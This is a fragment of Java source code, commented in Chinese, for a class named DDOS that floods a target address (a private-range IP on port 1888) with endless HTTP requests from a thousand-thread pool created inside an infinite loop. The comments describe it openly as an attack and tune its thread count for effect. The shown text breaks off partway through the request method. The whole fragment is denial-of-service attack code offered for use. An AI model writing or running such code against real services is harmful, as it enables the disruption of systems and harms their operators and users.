import java.util.concurrent.Executors;
@Slf4j
public class DDOS implements Runnable {
//攻击的网路地址或ip
private static String ipAddr = “http://172.16.10.5:1888/”;
//攻击的ddos数量(太小没效果,太大容易自己死机)
private static Integer ddosNum = 1000;
//主方法
public static void main(String[] args) {
DDOS.attack();
}
public static void attack() {
while (true) {
//利用线程池创建ddos攻击线程数
ExecutorService es = Executors.newFixedThreadPool(ddosNum);
DDOS ddos = new DDOS();
es.execute(ddos);
}
}
public void run() {
while (true) {
try {
URL url = new URL(ipAddr);
URLConnection conn = url.openConnection();
BufferedInputStream bis = new BufferedInputStream(
conn.getInputStream());
byte[] bytes = new byte[10240];